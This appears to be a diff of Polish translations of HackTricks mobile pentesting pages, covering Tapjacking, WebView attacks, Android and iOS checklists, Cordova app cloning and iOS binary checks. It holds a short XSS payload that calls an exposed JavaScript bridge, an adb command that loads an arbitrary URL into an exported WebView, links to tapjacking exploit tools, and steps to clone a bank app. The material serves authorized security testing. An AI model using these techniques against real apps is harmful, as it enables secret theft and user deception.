{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
W efekcie, **oślepia użytkownika, uniemożliwiając mu zrozumienie, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
### Wykrywanie
|
||||
|
||||
@ -19,7 +23,7 @@ Aby wykryć aplikacje podatne na ten atak, powinieneś szukać **eksportowanych
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Jeśli **`android:filterTouchesWhenObscured`** jest ustawione na **`true`**, `View` nie otrzyma dotyków, gdy okno widoku jest zasłonięte przez inne widoczne okno.
|
||||
Jeśli **`android:filterTouchesWhenObscured`** jest ustawione na **`true`**, `View` nie będzie odbierać dotyków, gdy okno widoku jest zasłonięte przez inne widoczne okno.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -37,9 +41,9 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
Najbardziej **najnowsza aplikacja na Androida** przeprowadzająca atak Tapjacking (+ wywołując przed eksportowaną aktywnością atakowanej aplikacji) znajduje się pod adresem: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
Najbardziej **najnowsza aplikacja na Androida** przeprowadzająca atak Tapjacking (+ wywołanie przed eksportowaną aktywnością atakowanej aplikacji) znajduje się pod adresem: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Postępuj zgodnie z **instrukcjami README, aby z niej skorzystać**.
|
||||
Postępuj zgodnie z **instrukcjami w README, aby z niej skorzystać**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
@ -52,11 +56,14 @@ Przykładowy projekt implementujący **FloatingWindowApp**, który można użyć
|
||||
|
||||
Możesz użyć [**qark**](https://github.com/linkedin/qark) z parametrami `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, aby stworzyć złośliwą aplikację do testowania możliwych **vulnerabilities Tapjacking**.\
|
||||
|
||||
Łagodzenie jest stosunkowo proste, ponieważ deweloper może zdecydować, że nie chce odbierać zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dla programistów Androida](https://developer.android.com/reference/android/view/View#security):
|
||||
Łagodzenie jest stosunkowo proste, ponieważ deweloper może zdecydować się na nieodbieranie zdarzeń dotykowych, gdy widok jest zasłonięty przez inny. Korzystając z [Dokumentacji dla deweloperów Androida](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Czasami istotne jest, aby aplikacja mogła zweryfikować, że akcja jest wykonywana z pełną wiedzą i zgodą użytkownika, na przykład przyznając prośbę o uprawnienia, dokonując zakupu lub klikając w reklamę. Niestety, złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te akcje, nieświadomie, ukrywając zamierzony cel widoku. W ramach remediów, framework oferuje mechanizm filtrowania dotyków, który można wykorzystać do poprawy bezpieczeństwa widoków, które zapewniają dostęp do wrażliwej funkcjonalności.
|
||||
> Czasami istotne jest, aby aplikacja mogła zweryfikować, że akcja jest wykonywana z pełną wiedzą i zgodą użytkownika, na przykład przyznawanie żądania uprawnień, dokonywanie zakupu lub klikanie w reklamę. Niestety, złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te akcje, nieświadomie, ukrywając zamierzony cel widoku. W ramach remediów, framework oferuje mechanizm filtrowania dotyków, który można wykorzystać do poprawy bezpieczeństwa widoków, które zapewniają dostęp do wrażliwej funkcjonalności.
|
||||
>
|
||||
> Aby włączyć filtrowanie dotyków, wywołaj [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) lub ustaw atrybut layout android:filterTouchesWhenObscured na true. Po włączeniu framework odrzuci dotyki, które są odbierane, gdy okno widoku jest zasłonięte przez inne widoczne okno. W rezultacie widok nie otrzyma dotyków, gdy nad oknem widoku pojawi się toast, dialog lub inne okno.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Webview Attacks
|
||||
# Ataki WebView
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,20 +6,20 @@
|
||||
|
||||
### Przegląd podatności WebView
|
||||
|
||||
Krytycznym aspektem rozwoju aplikacji na Androida jest prawidłowe zarządzanie WebView. Ten przewodnik podkreśla kluczowe konfiguracje i praktyki bezpieczeństwa, aby zminimalizować ryzyko związane z używaniem WebView.
|
||||
Krytycznym aspektem rozwoju Androida jest prawidłowe zarządzanie WebView. Ten przewodnik podkreśla kluczowe konfiguracje i praktyki bezpieczeństwa, aby zminimalizować ryzyko związane z używaniem WebView.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### **Dostęp do plików w WebView**
|
||||
|
||||
Domyślnie WebView zezwala na dostęp do plików. Ta funkcjonalność jest kontrolowana przez metodę `setAllowFileAccess()`, dostępną od poziomu API Androida 3 (Cupcake 1.5). Aplikacje z uprawnieniem **android.permission.READ_EXTERNAL_STORAGE** mogą odczytywać pliki z pamięci zewnętrznej za pomocą schematu URL pliku (`file://path/to/file`).
|
||||
Domyślnie WebView zezwala na dostęp do plików. Ta funkcjonalność jest kontrolowana przez metodę `setAllowFileAccess()`, dostępną od poziomu API Androida 3 (Cupcake 1.5). Aplikacje z uprawnieniem **android.permission.READ_EXTERNAL_STORAGE** mogą odczytywać pliki z pamięci zewnętrznej, używając schematu URL pliku (`file://path/to/file`).
|
||||
|
||||
#### **Przestarzałe funkcje: Uniwersalny i dostęp do plików z URL**
|
||||
#### **Funkcje przestarzałe: Uniwersalny i dostęp do plików z URL**
|
||||
|
||||
- **Uniwersalny dostęp z URL plików**: Ta przestarzała funkcja pozwalała na żądania między źródłami z URL plików, co stanowiło istotne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślne ustawienie jest wyłączone (`false`) dla aplikacji celujących w Android Jelly Bean i nowsze.
|
||||
- Aby sprawdzić to ustawienie, użyj `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Aby zmodyfikować to ustawienie, użyj `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **Dostęp do plików z URL plików**: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL schematu pliku. Podobnie jak dostęp uniwersalny, jej domyślne ustawienie jest wyłączone dla zwiększenia bezpieczeństwa.
|
||||
- **Dostęp do plików z URL plików**: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL schematu pliku. Podobnie jak dostęp uniwersalny, jej domyślne ustawienie jest wyłączone dla zwiększonego bezpieczeństwa.
|
||||
- Użyj `getAllowFileAccessFromFileURLs()` do sprawdzenia i `setAllowFileAccessFromFileURLs(boolean)` do ustawienia.
|
||||
|
||||
#### **Bezpieczne ładowanie plików**
|
||||
@ -31,7 +31,7 @@ Aby wyłączyć dostęp do systemu plików, jednocześnie uzyskując dostęp do
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
Klasa **WebViewAssetLoader** to nowoczesne podejście do ładowania lokalnych plików. Używa URL-i http(s) do uzyskiwania dostępu do lokalnych zasobów i aktywów, zgodnie z polityką Same-Origin, co ułatwia zarządzanie CORS.
|
||||
Klasa **WebViewAssetLoader** to nowoczesne podejście do ładowania lokalnych plików. Używa URL http(s) do uzyskiwania dostępu do lokalnych zasobów i aktywów, zgodnie z polityką tego samego pochodzenia, co ułatwia zarządzanie CORS.
|
||||
|
||||
### loadUrl
|
||||
|
||||
@ -54,13 +54,13 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url
|
||||
```
|
||||
### Javascript Bridge
|
||||
|
||||
Funkcja ta jest dostarczana przez Androida, która umożliwia **JavaScript** w WebView wywoływanie **funkcji natywnych aplikacji Android**. Osiąga się to poprzez wykorzystanie metody `addJavascriptInterface`, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako _WebView JavaScript bridge_. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom w WebView na dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli wrażliwe informacje są ujawniane przez te interfejsy.
|
||||
Funkcja ta jest udostępniana przez Androida, która umożliwia **JavaScript** w WebView wywoływanie **funkcji natywnych aplikacji Android**. Osiąga się to poprzez wykorzystanie metody `addJavascriptInterface`, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako _WebView JavaScript bridge_. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom w WebView na dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli wrażliwe informacje są ujawniane przez te interfejsy.
|
||||
|
||||
- **Wymagana jest ekstremalna ostrożność** dla aplikacji celujących w wersje Androida poniżej 4.2 z powodu luki umożliwiającej zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystując refleksję.
|
||||
|
||||
#### Implementacja JavaScript Bridge
|
||||
|
||||
- **Interfejsy JavaScript** mogą współdziałać z kodem natywnym, co pokazano w przykładach, gdzie metoda klasy jest udostępniana JavaScript:
|
||||
- **Interfejsy JavaScript** mogą współdziałać z kodem natywnym, co pokazano w przykładach, gdzie metoda klasy jest udostępniana JavaScriptowi:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
@ -72,13 +72,13 @@ return "SuperSecretPassword";
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||||
webView.reload()
|
||||
```
|
||||
- Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie wystawionych metod Java:
|
||||
- Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie ujawnionych metod Java:
|
||||
```html
|
||||
<script>
|
||||
alert(javascriptBridge.getSecret())
|
||||
</script>
|
||||
```
|
||||
- Aby zminimalizować ryzyko, **ogranicz użycie mostka JavaScript** do kodu dostarczonego z APK i zapobiegaj ładowaniu JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.
|
||||
- Aby zminimalizować ryzyko, **ogranicz użycie mostka JavaScript** do kodu dostarczonego z APK i zapobiec ładowaniu JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.
|
||||
|
||||
### Wykonanie zdalnego kodu oparte na refleksji (RCE)
|
||||
|
||||
@ -86,7 +86,7 @@ alert(javascriptBridge.getSecret())
|
||||
|
||||
### Zdalne debugowanie
|
||||
|
||||
- **Zdalne debugowanie** jest możliwe za pomocą **Narzędzi dewelopera Chrome**, co umożliwia interakcję i dowolne wykonanie JavaScript w treści WebView.
|
||||
- **Zdalne debugowanie** jest możliwe za pomocą **Chrome Developer Tools**, co umożliwia interakcję i dowolne wykonanie JavaScript w treści WebView.
|
||||
|
||||
#### Włączanie zdalnego debugowania
|
||||
|
||||
|
@ -2,17 +2,22 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zgłębiaj swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
### [Poznaj podstawy Androida](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
- [ ] [Podstawy](android-app-pentesting/#fundamentals-review)
|
||||
- [ ] [Dalvik i Smali](android-app-pentesting/#dalvik--smali)
|
||||
- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
- [ ] [Punkty wejścia](android-app-pentesting/#application-entry-points)
|
||||
- [ ] [Aktywności](android-app-pentesting/#launcher-activity)
|
||||
- [ ] [Schematy URL](android-app-pentesting/#url-schemes)
|
||||
- [ ] [Dostawcy treści](android-app-pentesting/#services)
|
||||
- [ ] [Usługi](android-app-pentesting/#services-1)
|
||||
- [ ] [Odbiorniki rozgłoszeniowe](android-app-pentesting/#broadcast-receivers)
|
||||
- [ ] [Odbiorniki broadcast](android-app-pentesting/#broadcast-receivers)
|
||||
- [ ] [Intencje](android-app-pentesting/#intents)
|
||||
- [ ] [Filtr intencji](android-app-pentesting/#intent-filter)
|
||||
- [ ] [Inne komponenty](android-app-pentesting/#other-app-components)
|
||||
@ -23,7 +28,7 @@
|
||||
|
||||
- [ ] Sprawdź użycie [obfuskacji](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy urządzenie mobilne było zrootowane, czy używany jest emulator oraz sprawdzenia antytamperowe. [Przeczytaj to, aby uzyskać więcej informacji](android-app-pentesting/#other-checks).
|
||||
- [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy urządzenie mobilne jest zrootowane i działać w konsekwencji.
|
||||
- [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, tylne drzwi, tokeny, UUID Bluetooth...).
|
||||
- [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, backdoory, tokeny, UUID Bluetooth...).
|
||||
- [ ] Szczególna uwaga na [firebase](android-app-pentesting/#firebase)API.
|
||||
- [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
- [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać".
|
||||
@ -31,7 +36,7 @@
|
||||
- [ ] Eksportowane Aktywności.
|
||||
- [ ] Dostawcy treści.
|
||||
- [ ] Ekspozycja usług.
|
||||
- [ ] Odbiorniki rozgłoszeniowe.
|
||||
- [ ] Odbiorniki broadcast.
|
||||
- [ ] Schematy URL.
|
||||
- [ ] Czy aplikacja [zapisuje dane w sposób niebezpieczny wewnętrznie lub zewnętrznie](android-app-pentesting/#insecure-data-storage)?
|
||||
- [ ] Czy istnieje jakiekolwiek [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niebezpiecznych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
@ -46,7 +51,7 @@
|
||||
- [ ] [Wykorzystywalne eksportowane Aktywności](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
- [ ] [Wykorzystywalni Dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
- [ ] [Wykorzystywalne usługi](android-app-pentesting/#exploiting-services)?
|
||||
- [ ] [Wykorzystywalne Odbiorniki rozgłoszeniowe](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
- [ ] [Wykorzystywalne Odbiorniki broadcast](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
- [ ] Czy aplikacja [przesyła informacje w czystym tekście/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy możliwy jest atak MitM?
|
||||
- [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
- [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych luk w zabezpieczeniach w sieci (Hacktricks ma wiele informacji na temat luk w zabezpieczeniach w sieci).
|
||||
@ -57,5 +62,10 @@
|
||||
|
||||
- [ ] [Przeczytaj tutaj](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zgłębiaj swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -20,7 +20,7 @@ cd bank-new
|
||||
```
|
||||
Skopiuj zawartość `bank/assets/www` do `bank-new/www`, z wyłączeniem `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` oraz katalogu `plugins/`.
|
||||
|
||||
Określ platformę (Android lub iOS) podczas tworzenia nowego projektu Cordova. Aby sklonować aplikację na Androida, dodaj platformę Android. Zauważ, że wersje platformy Cordova i poziomy API Androida są różne. Zapoznaj się z dokumentacją Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) w celu uzyskania szczegółowych informacji na temat wersji platformy i obsługiwanych API Androida.
|
||||
Określ platformę (Android lub iOS) podczas tworzenia nowego projektu Cordova. Aby sklonować aplikację na Androida, dodaj platformę Android. Zauważ, że wersje platform Cordova i poziomy API Androida są różne. Zapoznaj się z dokumentacją Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) w celu uzyskania szczegółowych informacji na temat wersji platform i obsługiwanych API Androida.
|
||||
|
||||
Aby określić odpowiednią wersję platformy Cordova Android, sprawdź `PLATFORM_VERSION_BUILD_LABEL` w pliku `cordova.js` oryginalnej aplikacji.
|
||||
|
||||
@ -29,7 +29,7 @@ Po skonfigurowaniu platformy zainstaluj wymagane wtyczki. Plik `bank/assets/www/
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
```
|
||||
Jeśli wtyczka nie jest dostępna na npm, można ją pobrać z GitHub:
|
||||
Jeśli wtyczka nie jest dostępna w npm, można ją pozyskać z GitHub:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||
@ -46,7 +46,7 @@ cordova build android — packageType=apk
|
||||
```
|
||||
To polecenie generuje APK z włączoną opcją debugowania, co ułatwia debugowanie za pomocą Google Chrome. Kluczowe jest podpisanie APK przed instalacją, szczególnie jeśli aplikacja zawiera mechanizmy wykrywania manipulacji kodem.
|
||||
|
||||
### Narzędzie automatyzacji
|
||||
### Narzędzie Automatyzacji
|
||||
|
||||
Dla tych, którzy chcą zautomatyzować proces klonowania, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** jest polecanym narzędziem. Ułatwia klonowanie aplikacji na Androida, upraszczając opisane powyżej kroki.
|
||||
|
||||
|
@ -1,5 +1,13 @@
|
||||
# Lista kontrolna pentestingu iOS
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Przygotowanie
|
||||
@ -18,7 +26,7 @@
|
||||
- [ ] [**Bazy danych Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) mogą przechowywać wrażliwe informacje.
|
||||
- [ ] [**Cookies binarne**](ios-pentesting/#cookies) mogą przechowywać wrażliwe informacje.
|
||||
- [ ] [**Dane w pamięci podręcznej**](ios-pentesting/#cache) mogą przechowywać wrażliwe informacje.
|
||||
- [ ] [**Automatyczne zrzuty ekranu**](ios-pentesting/#snapshots) mogą zapisywać wizualne wrażliwe informacje.
|
||||
- [ ] [**Automatyczne zrzuty**](ios-pentesting/#snapshots) mogą zapisywać wizualne wrażliwe informacje.
|
||||
- [ ] [**Keychain**](ios-pentesting/#keychain) jest zazwyczaj używany do przechowywania wrażliwych informacji, które mogą zostać pozostawione przy odsprzedaży telefonu.
|
||||
- [ ] Podsumowując, po prostu **sprawdź wrażliwe informacje zapisane przez aplikację w systemie plików**.
|
||||
|
||||
@ -34,11 +42,11 @@
|
||||
### Kopie zapasowe
|
||||
|
||||
- [ ] [**Kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początkowy punkt tej listy kontrolnej).
|
||||
- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a ponieważ **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
|
||||
- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a jako **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
|
||||
|
||||
### **Pamięć aplikacji**
|
||||
|
||||
- [ ] Sprawdź wrażliwe informacje w [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data).
|
||||
- [ ] Sprawdź wrażliwe informacje wewnątrz [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data).
|
||||
|
||||
### **Złamana kryptografia**
|
||||
|
||||
@ -57,7 +65,7 @@
|
||||
- [**Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
|
||||
- [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek protokół/schemat**.
|
||||
- [ ] Sprawdź, czy aplikacja **rejestruje się do użycia** jakiegokolwiek protokołu/schematu.
|
||||
- [ ] Sprawdź, czy aplikacja **oczekuje na otrzymanie jakichkolwiek wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat.
|
||||
- [ ] Sprawdź, czy aplikacja **oczekuje na otrzymanie jakiegokolwiek rodzaju wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat.
|
||||
- [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy jakaś **vulnerabilność może być wykorzystana**.
|
||||
- [ ] Sprawdź, czy aplikacja **ekspozytuje jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
|
||||
- [**Uniwersalne linki**](ios-pentesting/#universal-links).
|
||||
@ -91,3 +99,11 @@
|
||||
- [ ] Sprawdź [**złośliwe biblioteki stron trzecich**](ios-pentesting/#third-parties).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1,5 +1,13 @@
|
||||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Basics
|
||||
@ -27,47 +35,42 @@ basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> W kolejnych krokach **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\
|
||||
> W przypadku następujących kroków **aplikacja powinna być zainstalowana** na urządzeniu i powinna już uzyskać **plik IPA** aplikacji.\
|
||||
> Przeczytaj stronę [Basic iOS Testing Operations](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
|
||||
|
||||
### Basic Static Analysis
|
||||
|
||||
Kilka interesujących dekompilatorów plików iOS - IPA:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
|
||||
Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) do przeprowadzenia automatycznej analizy statycznej pliku IPA.
|
||||
|
||||
Identyfikacja **ochron obecnych w binarnym**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
|
||||
- **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidzenie jej początkowego adresu pamięci.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Powinno zawierać flagę PIE
|
||||
otool -hv <app-binary> | grep PIE # Powinien zawierać flagę PIE
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość 'canary' jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
|
||||
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
|
||||
otool -I -v <app-binary> | grep stack_chk # Powinien zawierać symbole: stack_chk_guard i stack_chk_fail
|
||||
```
|
||||
|
||||
- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom związanym z uszkodzeniem pamięci
|
||||
- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom uszkodzenia pamięci
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # Powinno zawierać symbol _objc_release
|
||||
otool -I -v <app-binary> | grep objc_release # Powinien zawierać symbol _objc_release
|
||||
```
|
||||
|
||||
- **Encrypted Binary**: Binarna powinna być zaszyfrowana
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Cryptid powinien wynosić 1
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Krypton powinien wynosić 1
|
||||
```
|
||||
|
||||
**Identyfikacja Wrażliwych/Niezabezpieczonych Funkcji**
|
||||
**Identyfikacja wrażliwych/niebezpiecznych funkcji**
|
||||
|
||||
- **Słabe Algorytmy Hashujące**
|
||||
- **Słabe algorytmy haszujące**
|
||||
|
||||
```bash
|
||||
# Na urządzeniu iOS
|
||||
@ -79,7 +82,7 @@ grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
|
||||
- **Niezabezpieczone Funkcje Losowe**
|
||||
- **Niebezpieczne funkcje losowe**
|
||||
|
||||
```bash
|
||||
# Na urządzeniu iOS
|
||||
@ -93,7 +96,7 @@ grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
|
||||
- **Niezabezpieczona Funkcja ‘Malloc’**
|
||||
- **Niebezpieczna funkcja ‘Malloc’**
|
||||
|
||||
```bash
|
||||
# Na urządzeniu iOS
|
||||
@ -103,7 +106,7 @@ otool -Iv <app> | grep -w "_malloc"
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
|
||||
- **Niezabezpieczone i Wrażliwe Funkcje**
|
||||
- **Niebezpieczne i podatne funkcje**
|
||||
|
||||
```bash
|
||||
# Na urządzeniu iOS
|
||||
@ -135,7 +138,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał nawigować przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz.
|
||||
